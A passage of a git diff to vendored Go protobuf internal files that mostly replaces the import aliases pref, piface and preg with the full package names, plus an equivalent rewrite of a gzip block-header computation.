type. s := v.Interface().(string) @@ -331,71 +331,71 @@ func (c *stringConverter) GoValueOf(v pref.Value) reflect.Value { } return reflect.ValueOf(s).Convert(c.goType) } -func (c *stringConverter) IsValidPB(v pref.Value) bool { +func (c *stringConverter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(string) return ok } func (c *stringConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *stringConverter) New() pref.Value { return c.def } -func (c *stringConverter) Zero() pref.Value { return c.def } +func (c *stringConverter) New() protoreflect.Value { return c.def } +func (c *stringConverter) Zero() protoreflect.Value { return c.def } type bytesConverter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *bytesConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *bytesConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } if c.goType.Kind() == reflect.String && v.Len() == 0 { - return pref.ValueOfBytes(nil) // ensure empty string is []byte(nil) + return protoreflect.ValueOfBytes(nil) // ensure empty string is []byte(nil) } - return pref.ValueOfBytes(v.Convert(bytesType).Bytes()) + return protoreflect.ValueOfBytes(v.Convert(bytesType).Bytes()) } -func (c *bytesConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *bytesConverter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(v.Bytes()).Convert(c.goType) } -func (c *bytesConverter) IsValidPB(v pref.Value) bool { +func (c *bytesConverter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().([]byte) return ok } func (c *bytesConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *bytesConverter) New() pref.Value { return c.def } -func (c *bytesConverter) Zero() pref.Value { return c.def } +func (c *bytesConverter) New() protoreflect.Value { return c.def } +func (c *bytesConverter) Zero() protoreflect.Value { return c.def } type enumConverter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func newEnumConverter(goType reflect.Type, fd pref.FieldDescriptor) Converter { - var def pref.Value - if fd.Cardinality() == pref.Repeated { - def = pref.ValueOfEnum(fd.Enum().Values().Get(0).Number()) +func newEnumConverter(goType reflect.Type, fd protoreflect.FieldDescriptor) Converter { + var def protoreflect.Value + if fd.Cardinality() == protoreflect.Repeated { + def = protoreflect.ValueOfEnum(fd.Enum().Values().Get(0).Number()) } else { def = fd.Default() } return &enumConverter{goType, def} } -func (c *enumConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *enumConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfEnum(pref.EnumNumber(v.Int())) + return protoreflect.ValueOfEnum(protoreflect.EnumNumber(v.Int())) } -func (c *enumConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *enumConverter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(v.Enum()).Convert(c.goType) } -func (c *enumConverter) IsValidPB(v pref.Value) bool { - _, ok := v.Interface().(pref.EnumNumber) +func (c *enumConverter) IsValidPB(v protoreflect.Value) bool { + _, ok := v.Interface().(protoreflect.EnumNumber) return ok } @@ -403,11 +403,11 @@ func (c *enumConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *enumConverter) New() pref.Value { +func (c *enumConverter) New() protoreflect.Value { return c.def } -func (c *enumConverter) Zero() pref.Value { +func (c *enumConverter) Zero() protoreflect.Value { return c.def } @@ -419,7 +419,7 @@ func newMessageConverter(goType reflect.Type) Converter { return &messageConverter{goType} } -func (c *messageConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *messageConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } @@ -430,13 +430,13 @@ func (c *messageConverter) PBValueOf(v reflect.Value) pref.Value { v = reflect.Zero(reflect.PtrTo(v.Type())) } } - if m, ok := v.Interface().(pref.ProtoMessage); ok { - return pref.ValueOfMessage(m.ProtoReflect()) + if m, ok := v.Interface().(protoreflect.ProtoMessage); ok { + return protoreflect.ValueOfMessage(m.ProtoReflect()) } - return pref.ValueOfMessage(legacyWrapMessage(v)) + return protoreflect.ValueOfMessage(legacyWrapMessage(v)) } -func (c *messageConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *messageConverter) GoValueOf(v protoreflect.Value) reflect.Value { m := v.Message() var rv reflect.Value if u, ok := m.(unwrapper); ok { @@ -460,7 +460,7 @@ func (c *messageConverter) GoValueOf(v pref.Value) reflect.Value { return rv } -func (c *messageConverter) IsValidPB(v pref.Value) bool { +func (c *messageConverter) IsValidPB(v protoreflect.Value) bool { m := v.Message() var rv reflect.Value if u, ok := m.(unwrapper); ok { @@ -478,14 +478,14 @@ func (c *messageConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *messageConverter) New() pref.Value { +func (c *messageConverter) New() protoreflect.Value { if c.isNonPointer() { return c.PBValueOf(reflect.New(c.goType).Elem()) } return c.PBValueOf(reflect.New(c.goType.Elem())) } -func (c *messageConverter) Zero() pref.Value { +func (c *messageConverter) Zero() protoreflect.Value { return c.PBValueOf(reflect.Zero(c.goType)) } diff --git a/vendor/google.golang.org/protobuf/internal/impl/convert_list.go b/vendor/google.golang.org/protobuf/internal/impl/convert_list.go index 6fccab520..f89136516 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/convert_list.go +++ b/vendor/google.golang.org/protobuf/internal/impl/convert_list.go @@ -8,10 +8,10 @@ import ( "fmt" "reflect" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) -func newListConverter(t reflect.Type, fd pref.FieldDescriptor) Converter { +func newListConverter(t reflect.Type, fd protoreflect.FieldDescriptor) Converter { switch { case t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Slice: return &listPtrConverter{t, newSingularConverter(t.Elem().Elem(), fd)} @@ -26,16 +26,16 @@ type listConverter struct { c Converter } -func (c *listConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *listConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } pv := reflect.New(c.goType) pv.Elem().Set(v) - return pref.ValueOfList(&listReflect{pv, c.c}) + return protoreflect.ValueOfList(&listReflect{pv, c.c}) } -func (c *listConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *listConverter) GoValueOf(v protoreflect.Value) reflect.Value { rv := v.List().(*listReflect).v if rv.IsNil() { return reflect.Zero(c.goType) @@ -43,7 +43,7 @@ func (c *listConverter) GoValueOf(v pref.Value) reflect.Value { return rv.Elem() } -func (c *listConverter) IsValidPB(v pref.Value) bool { +func (c *listConverter) IsValidPB(v protoreflect.Value) bool { list, ok := v.Interface().(*listReflect) if !ok { return false @@ -55,12 +55,12 @@ func (c *listConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *listConverter) New() pref.Value { - return pref.ValueOfList(&listReflect{reflect.New(c.goType), c.c}) +func (c *listConverter) New() protoreflect.Value { + return protoreflect.ValueOfList(&listReflect{reflect.New(c.goType), c.c}) } -func (c *listConverter) Zero() pref.Value { - return pref.ValueOfList(&listReflect{reflect.Zero(reflect.PtrTo(c.goType)), c.c}) +func (c *listConverter) Zero() protoreflect.Value { + return protoreflect.ValueOfList(&listReflect{reflect.Zero(reflect.PtrTo(c.goType)), c.c}) } type listPtrConverter struct { @@ -68,18 +68,18 @@ type listPtrConverter struct { c Converter } -func (c *listPtrConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *listPtrConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfList(&listReflect{v, c.c}) + return protoreflect.ValueOfList(&listReflect{v, c.c}) } -func (c *listPtrConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *listPtrConverter) GoValueOf(v protoreflect.Value) reflect.Value { return v.List().(*listReflect).v } -func (c *listPtrConverter) IsValidPB(v pref.Value) bool { +func (c *listPtrConverter) IsValidPB(v protoreflect.Value) bool { list, ok := v.Interface().(*listReflect) if !ok { return false @@ -91,11 +91,11 @@ func (c *listPtrConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *listPtrConverter) New() pref.Value { +func (c *listPtrConverter) New() protoreflect.Value { return c.PBValueOf(reflect.New(c.goType.Elem())) } -func (c *listPtrConverter) Zero() pref.Value { +func (c *listPtrConverter) Zero() protoreflect.Value { return c.PBValueOf(reflect.Zero(c.goType)) } @@ -110,16 +110,16 @@ func (ls *listReflect) Len() int { } return ls.v.Elem().Len() } -func (ls *listReflect) Get(i int) pref.Value { +func (ls *listReflect) Get(i int) protoreflect.Value { return ls.conv.PBValueOf(ls.v.Elem().Index(i)) } -func (ls *listReflect) Set(i int, v pref.Value) { +func (ls *listReflect) Set(i int, v protoreflect.Value) { ls.v.Elem().Index(i).Set(ls.conv.GoValueOf(v)) } -func (ls *listReflect) Append(v pref.Value) { +func (ls *listReflect) Append(v protoreflect.Value) { ls.v.Elem().Set(reflect.Append(ls.v.Elem(), ls.conv.GoValueOf(v))) } -func (ls *listReflect) AppendMutable() pref.Value { +func (ls *listReflect) AppendMutable() protoreflect.Value { if _, ok := ls.conv.(*messageConverter); !ok { panic("invalid AppendMutable on list with non-message type") } @@ -130,7 +130,7 @@ func (ls *listReflect) AppendMutable() pref.Value { func (ls *listReflect) Truncate(i int) { ls.v.Elem().Set(ls.v.Elem().Slice(0, i)) } -func (ls *listReflect) NewElement() pref.Value { +func (ls *listReflect) NewElement() protoreflect.Value { return ls.conv.New() } func (ls *listReflect) IsValid() bool { diff --git a/vendor/google.golang.org/protobuf/internal/impl/convert_map.go b/vendor/google.golang.org/protobuf/internal/impl/convert_map.go index de06b2593..f30b0a057 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/convert_map.go +++ b/vendor/google.golang.org/protobuf/internal/impl/convert_map.go @@ -8,7 +8,7 @@ import ( "fmt" "reflect" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type mapConverter struct { @@ -16,7 +16,7 @@ type mapConverter struct { keyConv, valConv Converter } -func newMapConverter(t reflect.Type, fd pref.FieldDescriptor) *mapConverter { +func newMapConverter(t reflect.Type, fd protoreflect.FieldDescriptor) *mapConverter { if t.Kind() != reflect.Map { panic(fmt.Sprintf("invalid Go type %v for field %v", t, fd.FullName())) } @@ -27,18 +27,18 @@ func newMapConverter(t reflect.Type, fd pref.FieldDescriptor) *mapConverter { } } -func (c *mapConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *mapConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfMap(&mapReflect{v, c.keyConv, c.valConv}) + return protoreflect.ValueOfMap(&mapReflect{v, c.keyConv, c.valConv}) } -func (c *mapConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *mapConverter) GoValueOf(v protoreflect.Value) reflect.Value { return v.Map().(*mapReflect).v } -func (c *mapConverter) IsValidPB(v pref.Value) bool { +func (c *mapConverter) IsValidPB(v protoreflect.Value) bool { mapv, ok := v.Interface().(*mapReflect) if !ok { return false @@ -50,11 +50,11 @@ func (c *mapConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *mapConverter) New() pref.Value { +func (c *mapConverter) New() protoreflect.Value { return c.PBValueOf(reflect.MakeMap(c.goType)) } -func (c *mapConverter) Zero() pref.Value { +func (c *mapConverter) Zero() protoreflect.Value { return c.PBValueOf(reflect.Zero(c.goType)) } @@ -67,29 +67,29 @@ type mapReflect struct { func (ms *mapReflect) Len() int { return ms.v.Len() } -func (ms *mapReflect) Has(k pref.MapKey) bool { +func (ms *mapReflect) Has(k protoreflect.MapKey) bool { rk := ms.keyConv.GoValueOf(k.Value()) rv := ms.v.MapIndex(rk) return rv.IsValid() } -func (ms *mapReflect) Get(k pref.MapKey) pref.Value { +func (ms *mapReflect) Get(k protoreflect.MapKey) protoreflect.Value { rk := ms.keyConv.GoValueOf(k.Value()) rv := ms.v.MapIndex(rk) if !rv.IsValid() { - return pref.Value{} + return protoreflect.Value{} } return ms.valConv.PBValueOf(rv) } -func (ms *mapReflect) Set(k pref.MapKey, v pref.Value) { +func (ms *mapReflect) Set(k protoreflect.MapKey, v protoreflect.Value) { rk := ms.keyConv.GoValueOf(k.Value()) rv := ms.valConv.GoValueOf(v) ms.v.SetMapIndex(rk, rv) } -func (ms *mapReflect) Clear(k pref.MapKey) { +func (ms *mapReflect) Clear(k protoreflect.MapKey) { rk := ms.keyConv.GoValueOf(k.Value()) ms.v.SetMapIndex(rk, reflect.Value{}) } -func (ms *mapReflect) Mutable(k pref.MapKey) pref.Value { +func (ms *mapReflect) Mutable(k protoreflect.MapKey) protoreflect.Value { if _, ok := ms.valConv.(*messageConverter); !ok { panic("invalid Mutable on map with non-message value type") } @@ -100,7 +100,7 @@ func (ms *mapReflect) Mutable(k pref.MapKey) pref.Value { } return v } -func (ms *mapReflect) Range(f func(pref.MapKey, pref.Value) bool) { +func (ms *mapReflect) Range(f func(protoreflect.MapKey, protoreflect.Value) bool) { iter := mapRange(ms.v) for iter.Next() { k := ms.keyConv.PBValueOf(iter.Key()).MapKey() @@ -110,7 +110,7 @@ func (ms *mapReflect) Range(f func(pref.MapKey, pref.Value) bool) { } } } -func (ms *mapReflect) NewValue() pref.Value { +func (ms *mapReflect) NewValue() protoreflect.Value { return ms.valConv.New() } func (ms *mapReflect) IsValid() bool { diff --git a/vendor/google.golang.org/protobuf/internal/impl/decode.go b/vendor/google.golang.org/protobuf/internal/impl/decode.go index c65b0325c..cda0520c2 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/decode.go +++ b/vendor/google.golang.org/protobuf/internal/impl/decode.go @@ -12,9 +12,8 @@ import ( "google.golang.org/protobuf/internal/flags" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/reflect/protoregistry" "google.golang.org/protobuf/runtime/protoiface" - piface "google.golang.org/protobuf/runtime/protoiface" ) var errDecode = errors.New("cannot parse invalid wire-format data") @@ -38,14 +37,16 @@ func (o unmarshalOptions) Options() proto.UnmarshalOptions { } } -func (o unmarshalOptions) DiscardUnknown() bool { return o.flags&piface.UnmarshalDiscardUnknown != 0 } +func (o unmarshalOptions) DiscardUnknown() bool { + return o.flags&protoiface.UnmarshalDiscardUnknown != 0 +} func (o unmarshalOptions) IsDefault() bool { - return o.flags == 0 && o.resolver == preg.GlobalTypes + return o.flags == 0 && o.resolver == protoregistry.GlobalTypes } var lazyUnmarshalOptions = unmarshalOptions{ - resolver: preg.GlobalTypes, + resolver: protoregistry.GlobalTypes, depth: protowire.DefaultRecursionLimit, } @@ -55,7 +56,7 @@ type unmarshalOutput struct { } // unmarshal is protoreflect.Methods.Unmarshal. -func (mi *MessageInfo) unmarshal(in piface.UnmarshalInput) (piface.UnmarshalOutput, error) { +func (mi *MessageInfo) unmarshal(in protoiface.UnmarshalInput) (protoiface.UnmarshalOutput, error) { var p pointer if ms, ok := in.Message.(*messageState); ok { p = ms.pointer() @@ -67,11 +68,11 @@ func (mi *MessageInfo) unmarshal(in piface.UnmarshalInput) (piface.UnmarshalOutp resolver: in.Resolver, depth: in.Depth, }) - var flags piface.UnmarshalOutputFlags + var flags protoiface.UnmarshalOutputFlags if out.initialized { - flags |= piface.UnmarshalInitialized + flags |= protoiface.UnmarshalInitialized } - return piface.UnmarshalOutput{ + return protoiface.UnmarshalOutput{ Flags: flags, }, err } @@ -210,7 +211,7 @@ func (mi *MessageInfo) unmarshalExtension(b []byte, num protowire.Number, wtyp p var err error xt, err = opts.resolver.FindExtensionByNumber(mi.Desc.FullName(), num) if err != nil { - if err == preg.NotFound { + if err == protoregistry.NotFound { return out, errUnknown } return out, errors.New("%v: unable to resolve extension %v: %v", mi.Desc.FullName(), num, err) diff --git a/vendor/google.golang.org/protobuf/internal/impl/enum.go b/vendor/google.golang.org/protobuf/internal/impl/enum.go index 8c1eab4bf..5f3ef5ad7 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/enum.go +++ b/vendor/google.golang.org/protobuf/internal/impl/enum.go @@ -7,15 +7,15 @@ package impl import ( "reflect" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type EnumInfo struct { GoReflectType reflect.Type // int32 kind - Desc pref.EnumDescriptor + Desc protoreflect.EnumDescriptor } -func (t *EnumInfo) New(n pref.EnumNumber) pref.Enum { - return reflect.ValueOf(n).Convert(t.GoReflectType).Interface().(pref.Enum) +func (t *EnumInfo) New(n protoreflect.EnumNumber) protoreflect.Enum { + return reflect.ValueOf(n).Convert(t.GoReflectType).Interface().(protoreflect.Enum) } -func (t *EnumInfo) Descriptor() pref.EnumDescriptor { return t.Desc } +func (t *EnumInfo) Descriptor() protoreflect.EnumDescriptor { return t.Desc } diff --git a/vendor/google.golang.org/protobuf/internal/impl/extension.go b/vendor/google.golang.org/protobuf/internal/impl/extension.go index e904fd993..cb25b0bae 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/extension.go +++ b/vendor/google.golang.org/protobuf/internal/impl/extension.go @@ -9,8 +9,8 @@ import ( "sync" "sync/atomic" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) // ExtensionInfo implements ExtensionType. @@ -45,7 +45,7 @@ type ExtensionInfo struct { // since the message may no longer implement the MessageV1 interface. // // Deprecated: Use the ExtendedType method instead. - ExtendedType piface.MessageV1 + ExtendedType protoiface.MessageV1 // ExtensionType is the zero value of the extension type. // @@ -83,31 +83,31 @@ const ( extensionInfoFullInit = 2 ) -func InitExtensionInfo(xi *ExtensionInfo, xd pref.ExtensionDescriptor, goType reflect.Type) { +func InitExtensionInfo(xi *ExtensionInfo, xd protoreflect.ExtensionDescriptor, goType reflect.Type) { xi.goType = goType xi.desc = extensionTypeDescriptor{xd, xi} xi.init = extensionInfoDescInit } -func (xi *ExtensionInfo) New() pref.Value { +func (xi *ExtensionInfo) New() protoreflect.Value { return xi.lazyInit().New() } -func (xi *ExtensionInfo) Zero() pref.Value { +func (xi *ExtensionInfo) Zero() protoreflect.Value { return xi.lazyInit().Zero() } -func (xi *ExtensionInfo) ValueOf(v interface{}) pref.Value { +func (xi *ExtensionInfo) ValueOf(v interface{}) protoreflect.Value { return xi.lazyInit().PBValueOf(reflect.ValueOf(v)) } -func (xi *ExtensionInfo) InterfaceOf(v pref.Value) interface{} { +func (xi *ExtensionInfo) InterfaceOf(v protoreflect.Value) interface{} { return xi.lazyInit().GoValueOf(v).Interface() } -func (xi *ExtensionInfo) IsValidValue(v pref.Value) bool { +func (xi *ExtensionInfo) IsValidValue(v protoreflect.Value) bool { return xi.lazyInit().IsValidPB(v) } func (xi *ExtensionInfo) IsValidInterface(v interface{}) bool { return xi.lazyInit().IsValidGo(reflect.ValueOf(v)) } -func (xi *ExtensionInfo) TypeDescriptor() pref.ExtensionTypeDescriptor { +func (xi *ExtensionInfo) TypeDescriptor() protoreflect.ExtensionTypeDescriptor { if atomic.LoadUint32(&xi.init) < extensionInfoDescInit { xi.lazyInitSlow() } @@ -144,13 +144,13 @@ func (xi *ExtensionInfo) lazyInitSlow() { } type extensionTypeDescriptor struct { - pref.ExtensionDescriptor + protoreflect.ExtensionDescriptor xi *ExtensionInfo } -func (xtd *extensionTypeDescriptor) Type() pref.ExtensionType { +func (xtd *extensionTypeDescriptor) Type() protoreflect.ExtensionType { return xtd.xi } -func (xtd *extensionTypeDescriptor) Descriptor() pref.ExtensionDescriptor { +func (xtd *extensionTypeDescriptor) Descriptor() protoreflect.ExtensionDescriptor { return xtd.ExtensionDescriptor } diff --git a/vendor/google.golang.org/protobuf/internal/impl/legacy_enum.go b/vendor/google.golang.org/protobuf/internal/impl/legacy_enum.go index f7d7ffb51..c2a803bb2 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/legacy_enum.go +++ b/vendor/google.golang.org/protobuf/internal/impl/legacy_enum.go @@ -13,13 +13,12 @@ import ( "google.golang.org/protobuf/internal/filedesc" "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" ) // legacyEnumName returns the name of enums used in legacy code. // It is neither the protobuf full name nor the qualified Go name, // but rather an odd hybrid of both. -func legacyEnumName(ed pref.EnumDescriptor) string { +func legacyEnumName(ed protoreflect.EnumDescriptor) string { var protoPkg string enumName := string(ed.FullName()) if fd := ed.ParentFile(); fd != nil { @@ -34,68 +33,68 @@ func legacyEnumName(ed pref.EnumDescriptor) string { // legacyWrapEnum wraps v as a protoreflect.Enum, // where v must be a int32 kind and not implement the v2 API already. -func legacyWrapEnum(v reflect.Value) pref.Enum { +func legacyWrapEnum(v reflect.Value) protoreflect.Enum { et := legacyLoadEnumType(v.Type()) - return et.New(pref.EnumNumber(v.Int())) + return et.New(protoreflect.EnumNumber(v.Int())) } var legacyEnumTypeCache sync.Map // map[reflect.Type]protoreflect.EnumType // legacyLoadEnumType dynamically loads a protoreflect.EnumType for t, // where t must be an int32 kind and not implement the v2 API already. -func legacyLoadEnumType(t reflect.Type) pref.EnumType { +func legacyLoadEnumType(t reflect.Type) protoreflect.EnumType { // Fast-path: check if a EnumType is cached for this concrete type. if et, ok := legacyEnumTypeCache.Load(t); ok { - return et.(pref.EnumType) + return et.(protoreflect.EnumType) } // Slow-path: derive enum descriptor and initialize EnumType. - var et pref.EnumType + var et protoreflect.EnumType ed := LegacyLoadEnumDesc(t) et = &legacyEnumType{ desc: ed, goType: t, } if et, ok := legacyEnumTypeCache.LoadOrStore(t, et); ok { - return et.(pref.EnumType) + return et.(protoreflect.EnumType) } return et } type legacyEnumType struct { - desc pref.EnumDescriptor + desc protoreflect.EnumDescriptor goType reflect.Type m sync.Map // map[protoreflect.EnumNumber]proto.Enum } -func (t *legacyEnumType) New(n pref.EnumNumber) pref.Enum { +func (t *legacyEnumType) New(n protoreflect.EnumNumber) protoreflect.Enum { if e, ok := t.m.Load(n); ok { - return e.(pref.Enum) + return e.(protoreflect.Enum) } e := &legacyEnumWrapper{num: n, pbTyp: t, goTyp: t.goType} t.m.Store(n, e) return e } -func (t *legacyEnumType) Descriptor() pref.EnumDescriptor { +func (t *legacyEnumType) Descriptor() protoreflect.EnumDescriptor { return t.desc } type legacyEnumWrapper struct { - num pref.EnumNumber - pbTyp pref.EnumType + num protoreflect.EnumNumber + pbTyp protoreflect.EnumType goTyp reflect.Type } -func (e *legacyEnumWrapper) Descriptor() pref.EnumDescriptor { +func (e *legacyEnumWrapper) Descriptor() protoreflect.EnumDescriptor { return e.pbTyp.Descriptor() } -func (e *legacyEnumWrapper) Type() pref.EnumType { +func (e *legacyEnumWrapper) Type() protoreflect.EnumType { return e.pbTyp } -func (e *legacyEnumWrapper) Number() pref.EnumNumber { +func (e *legacyEnumWrapper) Number() protoreflect.EnumNumber { return e.num } -func (e *legacyEnumWrapper) ProtoReflect() pref.Enum { +func (e *legacyEnumWrapper) ProtoReflect() protoreflect.Enum { return e } func (e *legacyEnumWrapper) protoUnwrap() interface{} { @@ -105,8 +104,8 @@ func (e *legacyEnumWrapper) protoUnwrap() interface{} { } var ( - _ pref.Enum = (*legacyEnumWrapper)(nil) - _ unwrapper = (*legacyEnumWrapper)(nil) + _ protoreflect.Enum = (*legacyEnumWrapper)(nil) + _ unwrapper = (*legacyEnumWrapper)(nil) ) var legacyEnumDescCache sync.Map // map[reflect.Type]protoreflect.EnumDescriptor @@ -115,15 +114,15 @@ var legacyEnumDescCache sync.Map // map[reflect.Type]protoreflect.EnumDescriptor // which must be an int32 kind and not implement the v2 API already. // // This is exported for testing purposes. -func LegacyLoadEnumDesc(t reflect.Type) pref.EnumDescriptor { +func LegacyLoadEnumDesc(t reflect.Type) protoreflect.EnumDescriptor { // Fast-path: check if an EnumDescriptor is cached for this concrete type. if ed, ok := legacyEnumDescCache.Load(t); ok { - return ed.(pref.EnumDescriptor) + return ed.(protoreflect.EnumDescriptor) } // Slow-path: initialize EnumDescriptor from the raw descriptor. ev := reflect.Zero(t).Interface() - if _, ok := ev.(pref.Enum); ok { + if _, ok := ev.(protoreflect.Enum); ok { panic(fmt.Sprintf("%v already implements proto.Enum", t)) } edV1, ok := ev.(enumV1) @@ -132,7 +131,7 @@ func LegacyLoadEnumDesc(t reflect.Type) pref.EnumDescriptor { } b, idxs := edV1.EnumDescriptor() - var ed pref.EnumDescriptor + var ed protoreflect.EnumDescriptor if len(idxs) == 1 { ed = legacyLoadFileDesc(b).Enums().Get(idxs[0]) } else { @@ -158,10 +157,10 @@ var aberrantEnumDescCache sync.Map // map[reflect.Type]protoreflect.EnumDescript // We are unable to use the global enum registry since it is // unfortunately keyed by the protobuf full name, which we also do not know. // Thus, this produces some bogus enum descriptor based on the Go type name. -func aberrantLoadEnumDesc(t reflect.Type) pref.EnumDescriptor { +func aberrantLoadEnumDesc(t reflect.Type) protoreflect.EnumDescriptor { // Fast-path: check if an EnumDescriptor is cached for this concrete type. if ed, ok := aberrantEnumDescCache.Load(t); ok { - return ed.(pref.EnumDescriptor) + return ed.(protoreflect.EnumDescriptor) } // Slow-path: construct a bogus, but unique EnumDescriptor. @@ -182,7 +181,7 @@ func aberrantLoadEnumDesc(t reflect.Type) pref.EnumDescriptor { // An exhaustive query is clearly impractical, but can be best-effort. if ed, ok := aberrantEnumDescCache.LoadOrStore(t, ed); ok { - return ed.(pref.EnumDescriptor) + return ed.(protoreflect.EnumDescriptor) } return ed } @@ -192,7 +191,7 @@ func aberrantLoadEnumDesc(t reflect.Type) pref.EnumDescriptor { // It should be sufficiently unique within a program. // // This is exported for testing purposes. -func AberrantDeriveFullName(t reflect.Type) pref.FullName { +func AberrantDeriveFullName(t reflect.Type) protoreflect.FullName { sanitize := func(r rune) rune { switch { case r == '/': @@ -215,5 +214,5 @@ func AberrantDeriveFullName(t reflect.Type) pref.FullName { ss[i] = "x" + s } } - return pref.FullName(strings.Join(ss, ".")) + return protoreflect.FullName(strings.Join(ss, ".")) } diff --git a/vendor/google.golang.org/protobuf/internal/impl/legacy_export.go b/vendor/google.golang.org/protobuf/internal/impl/legacy_export.go index e3fb0b578..9b64ad5bb 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/legacy_export.go +++ b/vendor/google.golang.org/protobuf/internal/impl/legacy_export.go @@ -12,21 +12,21 @@ import ( "reflect" "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) // These functions exist to support exported APIs in generated protobufs. // While these are deprecated, they cannot be removed for compatibility reasons. // LegacyEnumName returns the name of enums used in legacy code. -func (Export) LegacyEnumName(ed pref.EnumDescriptor) string { +func (Export) LegacyEnumName(ed protoreflect.EnumDescriptor) string { return legacyEnumName(ed) } // LegacyMessageTypeOf returns the protoreflect.MessageType for m, // with name used as the message name if necessary. -func (Export) LegacyMessageTypeOf(m piface.MessageV1, name pref.FullName) pref.MessageType { +func (Export) LegacyMessageTypeOf(m protoiface.MessageV1, name protoreflect.FullName) protoreflect.MessageType { if mv := (Export{}).protoMessageV2Of(m); mv != nil { return mv.ProtoReflect().Type() } @@ -36,9 +36,9 @@ func (Export) LegacyMessageTypeOf(m piface.MessageV1, name pref.FullName) pref.M // UnmarshalJSONEnum unmarshals an enum from a JSON-encoded input. // The input can either be a string representing the enum value by name, // or a number representing the enum number itself. -func (Export) UnmarshalJSONEnum(ed pref.EnumDescriptor, b []byte) (pref.EnumNumber, error) { +func (Export) UnmarshalJSONEnum(ed protoreflect.EnumDescriptor, b []byte) (protoreflect.EnumNumber, error) { if b[0] == '"' { - var name pref.Name + var name protoreflect.Name if err := json.Unmarshal(b, &name); err != nil { return 0, errors.New("invalid input for enum %v: %s", ed.FullName(), b) } @@ -48,7 +48,7 @@ func (Export) UnmarshalJSONEnum(ed pref.EnumDescriptor, b []byte) (pref.EnumNumb } return ev.Number(), nil } else { - var num pref.EnumNumber + var num protoreflect.EnumNumber if err := json.Unmarshal(b, &num); err != nil { return 0, errors.New("invalid input for enum %v: %s", ed.FullName(), b) } @@ -81,8 +81,8 @@ func (Export) CompressGZIP(in []byte) (out []byte) { blockHeader[0] = 0x01 // final bit per RFC 1951, section 3.2.3. blockSize = len(in) } - binary.LittleEndian.PutUint16(blockHeader[1:3], uint16(blockSize)^0x0000) - binary.LittleEndian.PutUint16(blockHeader[3:5], uint16(blockSize)^0xffff) + binary.LittleEndian.PutUint16(blockHeader[1:3], uint16(blockSize)) + binary.LittleEndian.PutUint16(blockHeader[3:5], ^uint16(blockSize)) out = append(out, blockHeader[:]...) out = append(out, in[:blockSize]...) in = in[blockSize:] diff --git a/vendor/google.golang.org/protobuf/internal/impl/legacy_extension.go b/vendor/google.golang.org/protobuf/internal/impl/legacy_extension.go index 49e723161..87b30d050 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/legacy_extension.go +++ b/vendor/google.golang.org/protobuf/internal/impl/legacy_extension.go 